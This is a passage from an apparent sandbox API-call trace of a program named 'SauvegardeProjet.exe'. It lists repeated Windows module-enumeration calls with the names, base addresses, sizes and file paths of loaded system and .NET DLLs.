lpmodinfo=0x264e160*(lpBaseOfDll=0x75540000, SizeOfImage=0x15c000, EntryPoint=0x7558ba3d)) returned 1 [0066.848] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.848] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x75540000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0066.848] CoTaskMemFree (pv=0x4e7ba58) [0066.848] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.848] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x75540000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d [0066.849] CoTaskMemFree (pv=0x4e7ba58) [0066.849] GetModuleInformation (in: hProcess=0x290, hModule=0x74d00000, lpmodinfo=0x2650264, cb=0xc | out: lpmodinfo=0x2650264*(lpBaseOfDll=0x74d00000, SizeOfImage=0x80000, EntryPoint=0x74d137c9)) returned 1 [0066.850] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.850] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x74d00000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0066.850] CoTaskMemFree (pv=0x4e7ba58) [0066.850] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.850] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x74d00000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0066.851] CoTaskMemFree (pv=0x4e7ba58) [0066.851] GetModuleInformation (in: hProcess=0x290, hModule=0x71b50000, lpmodinfo=0x2652370, cb=0xc | out: lpmodinfo=0x2652370*(lpBaseOfDll=0x71b50000, SizeOfImage=0x9ad000, EntryPoint=0x0)) returned 1 [0066.851] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.851] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x71b50000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd [0066.852] CoTaskMemFree (pv=0x4e7ba58) [0066.852] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.852] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x71b50000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System\\500ffa28b327e171fe664023003e947e\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system\\500ffa28b327e171fe664023003e947e\\system.ni.dll")) returned 0x64 [0066.853] CoTaskMemFree (pv=0x4e7ba58) [0066.853] GetModuleInformation (in: hProcess=0x290, hModule=0x71430000, lpmodinfo=0x265450c, cb=0xc | out: lpmodinfo=0x265450c*(lpBaseOfDll=0x71430000, SizeOfImage=0x716000, EntryPoint=0x0)) returned 1 [0066.853] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.853] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x71430000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="System.Core.ni.dll") returned 0x12 [0066.854] CoTaskMemFree (pv=0x4e7ba58) [0066.854] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.854] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x71430000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Core\\386fde9190d499d6645df8b90eb76242\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.core\\386fde9190d499d6645df8b90eb76242\\system.core.ni.dll")) returned 0x6e [0066.855] CoTaskMemFree (pv=0x4e7ba58) [0066.855] GetModuleInformation (in: hProcess=0x290, hModule=0x74ef0000, lpmodinfo=0x26566c8, cb=0xc | out: lpmodinfo=0x26566c8*(lpBaseOfDll=0x74ef0000, SizeOfImage=0x1cb000, EntryPoint=0x0)) returned 1 [0066.855] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.855] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x74ef0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c [0066.856] CoTaskMemFree (pv=0x4e7ba58) [0066.856] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.856] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x74ef0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.V9921e851#\\cfbddeb6e93e8f421b92229b20e51233\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.v9921e851#\\cfbddeb6e93e8f421b92229b20e51233\\microsoft.visualbasic.ni.dll")) returned 0x81 [0066.856] CoTaskMemFree (pv=0x4e7ba58) [0066.856] GetModuleInformation (in: hProcess=0x290, hModule=0x74e70000, lpmodinfo=0x26588bc, cb=0xc | out: lpmodinfo=0x26588bc*(lpBaseOfDll=0x74e70000, SizeOfImage=0x7d000, EntryPoint=0x74e71140)) returned 1 [0066.857] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.857] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x74e70000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="clrjit.dll") returned 0xa [0066.858] CoTaskMemFree (pv=0x4e7ba58) [0066.858] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.858] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x74e70000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll")) returned 0x38 [0066.858] CoTaskMemFree (pv=0x4e7ba58) [0066.858] GetModuleInformation (in: hProcess=0x290, hModule=0x75f60000, lpmodinfo=0x265a9fc, cb=0xc | out: lpmodinfo=0x265a9fc*(lpBaseOfDll=0x75f60000, SizeOfImage=0x8f000, EntryPoint=0x75f63fb1)) returned 1 [0066.859] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.859] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x75f60000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="OLEAUT32.dll") returned 0xc [0066.859] CoTaskMemFree (pv=0x4e7ba58) [0066.859] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.859] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x75f60000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\OLEAUT32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll")) returned 0x20 [0066.860] CoTaskMemFree (pv=0x4e7ba58) [0066.860] GetModuleInformation (in: hProcess=0x290, hModule=0x744a0000, lpmodinfo=0x265cb10, cb=0xc | out: lpmodinfo=0x265cb10*(lpBaseOfDll=0x744a0000, SizeOfImage=0x18d000, EntryPoint=0x0)) returned 1 [0066.860] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.860] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x744a0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="System.Drawing.ni.dll") returned 0x15 [0066.861] CoTaskMemFree (pv=0x4e7ba58) [0066.861] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.861] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x744a0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Drawing\\553c0312fdf5a5449f3649f0515e70fb\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.drawing\\553c0312fdf5a5449f3649f0515e70fb\\system.drawing.ni.dll")) returned 0x74 [0066.861] CoTaskMemFree (pv=0x4e7ba58) [0066.861] GetModuleInformation (in: hProcess=0x290, hModule=0x707d0000, lpmodinfo=0x265ecdc, cb=0xc | out: lpmodinfo=0x265ecdc*(lpBaseOfDll=0x707d0000, SizeOfImage=0xc58000, EntryPoint=0x0)) returned 1 [0066.862] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.862] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x707d0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="System.Windows.Forms.ni.dll") returned 0x1b [0066.863] CoTaskMemFree (pv=0x4e7ba58) [0066.863] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.863] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x707d0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Windows.Forms\\7a6894982f35a1d75ec73d447c583da2\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.windows.forms\\7a6894982f35a1d75ec73d447c583da2\\system.windows.forms.ni.dll")) returned 0x80 [0066.863] CoTaskMemFree (pv=0x4e7ba58) [0066.863] GetModuleInformation (in: hProcess=0x290, hModule=0x74e50000, lpmodinfo=0x2660ecc, cb=0xc | out: lpmodinfo=0x2660ecc*(lpBaseOfDll=0x74e50000, SizeOfImage=0x16000, EntryPoint=0x74e52dc3)) returned 1 [0066.864] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.864] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x74e50000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="CRYPTSP.dll") returned 0xb [0066.864] CoTaskMemFree (pv=0x4e7ba58) [0066.864] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.864] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x74e50000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\CRYPTSP.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")) returned 0x1f [0066.865] CoTaskMemFree (pv=0x4e7ba58) [0066.865] GetModuleInformation (in: hProcess=0x290, hModule=0x74460000, lpmodinfo=0x26630e4, cb=0xc | out: lpmodinfo=0x26630e4*(lpBaseOfDll=0x74460000, SizeOfImage=0x3b000, EntryPoint=0x7446128d)) returned 1 [0066.865] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.865] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x74460000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="rsaenh.dll") returned 0xa [0066.866] CoTaskMemFree (pv=0x4e7ba58) [0066.866] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.866] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x74460000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")) returned 0x1e [0066.867] CoTaskMemFree (pv=0x4e7ba58) [0066.867] GetModuleInformation (in: hProcess=0x290, hModule=0x743d0000, lpmodinfo=0x26651f0, cb=0xc | out: lpmodinfo=0x26651f0*(lpBaseOfDll=0x743d0000, SizeOfImage=0x84000, EntryPoint=0x743d19a9)) returned 1 [0066.867] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.867] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x743d0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="comctl32.dll") returned 0xc [0066.868] CoTaskMemFree (pv=0x4e7ba58) [0066.868] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.868] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x743d0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll")) returned 0x7b [0066.868] CoTaskMemFree (pv=0x4e7ba58) [0066.868] GetModuleInformation (in: hProcess=0x290, hModule=0x743b0000, lpmodinfo=0x26673b8, cb=0xc | out: lpmodinfo=0x26673b8*(lpBaseOfDll=0x743b0000, SizeOfImage=0x13000, EntryPoint=0x743b18f0)) returned 1 [0066.869] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.869] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x743b0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="nlssorting.dll") returned 0xe [0066.870] CoTaskMemFree (pv=0x4e7ba58) [0066.870] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.870] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x743b0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\nlssorting.dll")) returned 0x3c [0066.870] CoTaskMemFree (pv=0x4e7ba58) [0066.870] GetModuleInformation (in: hProcess=0x290, hModule=0x742e0000, lpmodinfo=0x2669508, cb=0xc | out: lpmodinfo=0x2669508*(lpBaseOfDll=0x742e0000, SizeOfImage=0xc5000, EntryPoint=0x0)) returned 1 [0066.871] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.871] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x742e0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="System.Runtime.Remoting.ni.dll") returned 0x1e [0066.871] CoTaskMemFree (pv=0x4e7ba58) [0066.871] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.871] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x742e0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Runt73a1fc9d#\\7dc02b53cd1fa9685d4cf9a94fe7998c\\System.Runtime.Remoting.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.runt73a1fc9d#\\7dc02b53cd1fa9685d4cf9a94fe7998c\\system.runtime.remoting.ni.dll")) returned 0x83 [0066.872] CoTaskMemFree (pv=0x4e7ba58) [0066.872] GetModuleInformation (in: hProcess=0x290, hModule=0x74150000, lpmodinfo=0x266b704, cb=0xc | out: lpmodinfo=0x266b704*(lpBaseOfDll=0x74150000, SizeOfImage=0x190000, EntryPoint=0x741ed026)) returned 1 [0066.873] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.873] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x74150000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="gdiplus.dll") returned 0xb [0066.874] CoTaskMemFree (pv=0x4e7ba58) [0066.874] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.874] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x74150000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll")) returned 0x71 [0066.874] CoTaskMemFree (pv=0x4e7ba58) [0066.874] GetModuleInformation (in: hProcess=0x290, hModule=0x73c90000, lpmodinfo=0x266d8b4, cb=0xc | out: lpmodinfo=0x266d8b4*(lpBaseOfDll=0x73c90000, SizeOfImage=0x19e000, EntryPoint=0x73cbe6b5)) returned 1 [0066.876] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.876] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x73c90000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="comctl32.dll") returned 0xc [0066.877] CoTaskMemFree (pv=0x4e7ba58) [0066.877] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x73c90000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll")) returned 0x7a [0066.878] GetModuleInformation (in: hProcess=0x290, hModule=0x74ce0000, lpmodinfo=0x266fb44, cb=0xc | out: lpmodinfo=0x266fb44*(lpBaseOfDll=0x74ce0000, SizeOfImage=0x13000, EntryPoint=0x74ce1d3f)) returned 1 [0066.878] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x74ce0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="dwmapi.dll") returned 0xa [0066.879] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x74ce0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll")) returned 0x1e [0066.880] GetModuleInformation (in: hProcess=0x290, hModule=0x754b0000, lpmodinfo=0x2671c50, cb=0xc | out: lpmodinfo=0x2671c50*(lpBaseOfDll=0x754b0000, SizeOfImage=0x83000, EntryPoint=0x754b23d2)) returned 1 [0066.880] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x754b0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="CLBCatQ.DLL") returned 0xb [0066.881] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x754b0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CLBCatQ.DLL" (normalized: "c:\\windows\\syswow64\\clbcatq.dll")) returned 0x1f [0066.882] GetModuleInformation (in: hProcess=0x290, hModule=0x74050000, lpmodinfo=0x2673d5c, cb=0xc | out: lpmodinfo=0x2673d5c*(lpBaseOfDll=0x74050000, SizeOfImage=0xfb000, EntryPoint=0x740617e1)) returned 1 [0066.882] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x74050000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="WindowsCodecs.dll") returned 0x11 [0066.883] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x74050000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll")) returned 0x25 [0066.884] GetModuleInformation (in: hProcess=0x290, hModule=0x76420000, lpmodinfo=0x2675e80, cb=0xc | out: lpmodinfo=0x2675e80*(lpBaseOfDll=0x76420000, SizeOfImage=0x5000, EntryPoint=0x76421438)) returned 1 [0066.884] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x76420000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9 [0066.885] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x76420000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d [0067.003] EnumProcessModules (in: hProcess=0x290, lphModule=0x26e03d4, cb=0x100, lpcbNeeded=0x563cf30 | out: lphModule=0x26e03d4, lpcbNeeded=0x563cf30) returned 1 [0067.003] GetModuleInformation (in: hProcess=0x290, hModule=0xea0000, lpmodinfo=0x26e0514, cb=0xc | out: lpmodinfo=0x26e0514*(lpBaseOfDll=0xea0000, SizeOfImage=0x9c000, EntryPoint=0xf36c3e)) returned 1 [0067.003] GetModuleBaseNameW (in: hProcess=0x290, hModule=0xea0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="SauvegardeProjet.exe") returned 0x14 [0067.004] GetModuleFileNameExW (in: hProcess=0x290, hModule=0xea0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SauvegardeProjet.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sauvegardeprojet.exe")) returned 0x3a [0067.004] GetModuleInformation (in: hProcess=0x290, hModule=0x77850000, lpmodinfo=0x26e2688, cb=0xc | out: lpmodinfo=0x26e2688*(lpBaseOfDll=0x77850000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1 [0067.004] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x77850000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9 [0067.004] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x77850000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d [0067.004] GetModuleInformation (in: hProcess=0x290, hModule=0x75250000, lpmodinfo=0x26e478c, cb=0xc | out: lpmodinfo=0x26e478c*(lpBaseOfDll=0x75250000, SizeOfImage=0x4a000, EntryPoint=0x75252e54)) returned 1 [0067.004] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x75250000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb [0067.004] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x75250000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0067.005] GetModuleInformation (in: hProcess=0x290, hModule=0x75a20000, lpmodinfo=0x26e6898, cb=0xc | out: lpmodinfo=0x26e6898*(lpBaseOfDll=0x75a20000, SizeOfImage=0x110000, EntryPoint=0x75a332d3)) returned 1 [0067.005] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x75a20000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc [0067.005] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x75a20000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20 [0067.005] GetModuleInformation (in: hProcess=0x290, hModule=0x765f0000, lpmodinfo=0x26e89ac, cb=0xc | out: lpmodinfo=0x26e89ac*(lpBaseOfDll=0x765f0000, SizeOfImage=0x46000, EntryPoint=0x765f7478)) returned 1 [0067.005] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x765f0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0067.005] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x765f0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22 [0067.006] GetModuleInformation (in: hProcess=0x290, hModule=0x75b30000, lpmodinfo=0x26eaaf4, cb=0xc | out: lpmodinfo=0x26eaaf4*(lpBaseOfDll=0x75b30000, SizeOfImage=0xa0000, EntryPoint=0x75b449e5)) returned 1 [0067.006] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x75b30000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0067.006] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x75b30000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20 [0067.006] GetModuleInformation (in: hProcess=0x290, hModule=0x75e30000, lpmodinfo=0x26ecc08, cb=0xc | out: lpmodinfo=0x26ecc08*(lpBaseOfDll=0x75e30000, SizeOfImage=0xac000, EntryPoint=0x75e3a472)) returned 1 [0067.006] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x75e30000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0067.007] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x75e30000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e [0067.007] GetModuleInformation (in: hProcess=0x290, hModule=0x762b0000, lpmodinfo=0x26eed14, cb=0xc | out: lpmodinfo=0x26eed14*(lpBaseOfDll=0x762b0000, SizeOfImage=0x19000, EntryPoint=0x762b4975)) returned 1 [0067.007] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x762b0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0067.007] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x762b0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f [0067.008] GetModuleInformation (in: hProcess=0x290, hModule=0x772d0000, lpmodinfo=0x26f0e20, cb=0xc | out: lpmodinfo=0x26f0e20*(lpBaseOfDll=0x772d0000, SizeOfImage=0xf0000, EntryPoint=0x772e0569)) returned 1 [0067.008] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x772d0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa [0067.008] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x772d0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e [0067.008] GetModuleInformation (in: hProcess=0x290, hModule=0x753b0000, lpmodinfo=0x26f2f78, cb=0xc | out: lpmodinfo=0x26f2f78*(lpBaseOfDll=0x753b0000, SizeOfImage=0x60000, EntryPoint=0x753ca3b3)) returned 1 [0067.009] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x753b0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0067.009] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x753b0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f [0067.009] GetModuleInformation (in: hProcess=0x290, hModule=0x753a0000, lpmodinfo=0x26f5084, cb=0xc | out: lpmodinfo=0x26f5084*(lpBaseOfDll=0x753a0000, SizeOfImage=0xc000, EntryPoint=0x753a10e1)) returned 1 [0067.009] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x753a0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0067.010] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x753a0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21 [0067.010] GetModuleInformation (in: hProcess=0x290, hModule=0x751d0000, lpmodinfo=0x26f7198, cb=0xc | out: lpmodinfo=0x26f7198*(lpBaseOfDll=0x751d0000, SizeOfImage=0x78000, EntryPoint=0x751df7ba)) returned 1 [0067.010] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x751d0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0067.010] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x751d0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0067.011] GetModuleInformation (in: hProcess=0x290, hModule=0x75ce0000, lpmodinfo=0x26f92e0, cb=0xc | out: lpmodinfo=0x26f92e0*(lpBaseOfDll=0x75ce0000, SizeOfImage=0x57000, EntryPoint=0x75cf9ba6)) returned 1 [0067.011] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x75ce0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0067.011] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x75ce0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f [0067.012] GetModuleInformation (in: hProcess=0x290, hModule=0x773c0000, lpmodinfo=0x26fb3ec, cb=0xc | out: lpmodinfo=0x26fb3ec*(lpBaseOfDll=0x773c0000, SizeOfImage=0x90000, EntryPoint=0x773d6343)) returned 1 [0067.012] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x773c0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9 [0067.012] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x773c0000, lpFilename=0x4e7ba58, nSize=0x800 | out: 